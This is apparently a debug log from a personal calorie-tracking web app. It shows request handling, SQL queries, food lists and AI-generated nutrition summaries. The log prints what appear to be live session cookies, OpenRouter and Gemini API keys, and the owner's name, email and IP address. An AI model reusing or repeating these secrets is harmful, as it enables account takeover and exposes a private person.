    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-24T06:58:25.349Z server-connect:app Executing action step identify
2025-12-24T06:58:25.349Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:25.349Z server-connect:output identity: 1
2025-12-24T06:58:25.722Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T06:58:25.724Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T06:58:25.725Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-24T06:58:25.725Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T06:58:25.725Z server-connect:app Executing action step identify
2025-12-24T06:58:25.725Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:25.726Z server-connect:output identity: 1
2025-12-24T06:58:25.726Z server-connect:app Executing action step restrict
2025-12-24T06:58:25.726Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T06:58:25.726Z server-connect:app Executing action step identify
2025-12-24T06:58:25.726Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:25.726Z server-connect:output identity: 1
2025-12-24T06:58:25.726Z server-connect:app Executing action step restrict
2025-12-24T06:58:25.726Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T06:58:25.727Z server-connect:app Executing action step identify
2025-12-24T06:58:25.727Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:25.727Z server-connect:output identity: 1
2025-12-24T06:58:25.727Z server-connect:app Executing action step restrict
2025-12-24T06:58:25.727Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T06:58:25.728Z server-connect:output restrict: undefined
2025-12-24T06:58:25.728Z server-connect:app Executing action step select
2025-12-24T06:58:25.728Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T06:58:25.729Z server-connect:app Executing action step identify
2025-12-24T06:58:25.729Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:25.729Z server-connect:output identity: 1
2025-12-24T06:58:25.729Z server-connect:app Executing action step restrict
2025-12-24T06:58:25.729Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:25.729Z server-connect:output restrict: undefined
2025-12-24T06:58:25.729Z server-connect:app Executing action step single
2025-12-24T06:58:25.729Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T06:58:25.731Z server-connect:output restrict: undefined
2025-12-24T06:58:25.731Z server-connect:app Executing action step single
2025-12-24T06:58:25.731Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T06:58:25.732Z server-connect:output restrict: undefined
2025-12-24T06:58:25.732Z server-connect:app Executing action step single
2025-12-24T06:58:25.732Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-24T06:58:25.734Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T06:58:25.735Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's nutrition shows a good start with protein intake, particularly from the whey supplement, which supports muscle development. The inclusion of guava is beneficial for micronutrients. However, the overall meal composition appears limited, potentially impacting sustained energy and recovery. Consistency in varied food choices will be key for optimal progress.",
    bad_points: [
      'Limited variety in food consumed, potentially lacking in essential nutrients and fiber.',
      'Meal composition seems to be heavily skewed towards carbohydrates and protein, with less emphasis on healthy fats and diverse vegetables.',
      'No clear indication of post-workout nutrition or other meals throughout the day.'
    ],
    good_points: [
      'Adequate protein intake from whey supplement to support muscle development.',
      'Inclusion of fruit (guava) for micronutrients.',
      'Pre-workout supplement used to prepare for the gym session.'
    ],
    suggestions: [
      'Incorporate a balanced meal post-workout to aid recovery and muscle repair.',
      'Add a source of healthy fats, such as nuts or seeds, to meals.',
      'Include a wider variety of vegetables and whole grains for increased fiber and micronutrient intake.',
      'Ensure consistent hydration throughout the day.'
    ],
    predicted_weight: 69.5,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-23T18:30:00.000Z'
}
2025-12-24T06:58:25.736Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T06:58:25.737Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-24T06:58:25.737Z server-connect:app Executing action step select
2025-12-24T06:58:25.737Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-24T06:58:25.738Z server-connect:output item_list: [
  {
    id: 500,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices',
    replacements: 'Cucumber slices,Watermelon slices,Bell pepper strips',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 1,
    skip_reason: "Jamfal is a good source of Vitamin C and fiber, beneficial for overall health and recovery. It's a low-calorie fruit."
  },
  {
    id: 501,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (no sugar/cream),Green tea,Small piece of fruit (e.g., half a banana)',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can provide a boost for intense sessions, they often contain artificial sweeteners, colors, and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a high-quality product with minimal additives. Consider if the energy boost is truly necessary for every session or if natural sources can suffice."
  },
  {
    id: 502,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle building),Egg whites (pure protein, very low calorie),Greek yogurt (high protein, lower calorie than some whey shakes)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high protein content, and relatively low in other macros. Ideal for your goals.'
  },
  {
    id: 503,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Poha (mixed with tomato, onion, matar)',
    calories: 200,
    protein_gm: 5,
    carbs_gm: 40,
    fat_gm: 3,
    quantity: '1 serving (approx. 150g cooked)',
    replacements: 'Quinoa Poha (higher protein, more fiber),Oats Poha (more fiber, can be lower calorie depending on preparation),Brown Rice Poha (more fiber than white poha)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy, and the vegetables add fiber and micronutrients. A decent breakfast option for your activity level.'
  },
  {
    id: 504,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (e.g., peppermint, chamomile)',
    created_at: '2025-12-24T01:28:24.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, contains antioxidants, negligible calories.'
  }
]
2025-12-24T06:58:25.738Z server-connect:app Executing action step setvalue
2025-12-24T06:58:25.738Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-24T06:58:25.738Z server-connect:output var_total: 362
2025-12-24T06:58:25.738Z server-connect:app Executing action step setvalue
2025-12-24T06:58:25.738Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-24T06:58:25.738Z server-connect:output var_consumed: 15
2025-12-24T06:58:25.738Z server-connect:app Executing action step setvalue
2025-12-24T06:58:25.738Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-24T06:58:25.738Z server-connect:output var_deficit: 2038
2025-12-24T06:58:25.738Z server-connect:app Executing action step custom
2025-12-24T06:58:25.738Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-24T06:58:25.740Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '362',
    surplus_or_deficit: '2038',
    status_flag: 2
  }
]
2025-12-24T06:58:26.277Z server-connect:app Executing action step identify
2025-12-24T06:58:26.277Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:26.277Z server-connect:output identity: 1
2025-12-24T07:10:19.236Z server-connect:app Executing action step identify
2025-12-24T07:10:19.236Z server-connect:app options: { provider: 'security' }
2025-12-24T07:10:19.236Z server-connect:output identity: 1
2025-12-24T07:10:21.808Z server-connect:app Executing action step identify
2025-12-24T07:10:21.808Z server-connect:app options: { provider: 'security' }
2025-12-24T07:10:21.808Z server-connect:output identity: 1
2025-12-24T07:10:51.408Z server-connect:router Serving templateView /calorie-tracker
2025-12-24T07:10:51.414Z server-connect:app Executing action step identify
2025-12-24T07:10:51.414Z server-connect:app options: { provider: 'security' }
2025-12-24T07:10:51.414Z server-connect:output identity: 1
2025-12-24T07:10:51.414Z server-connect:app Executing action step restrict
2025-12-24T07:10:51.414Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T07:10:51.418Z server-connect:output restrict: undefined
2025-12-24T07:10:51.419Z server-connect:router Render template layouts/main
2025-12-24T07:10:51.419Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=1, i',
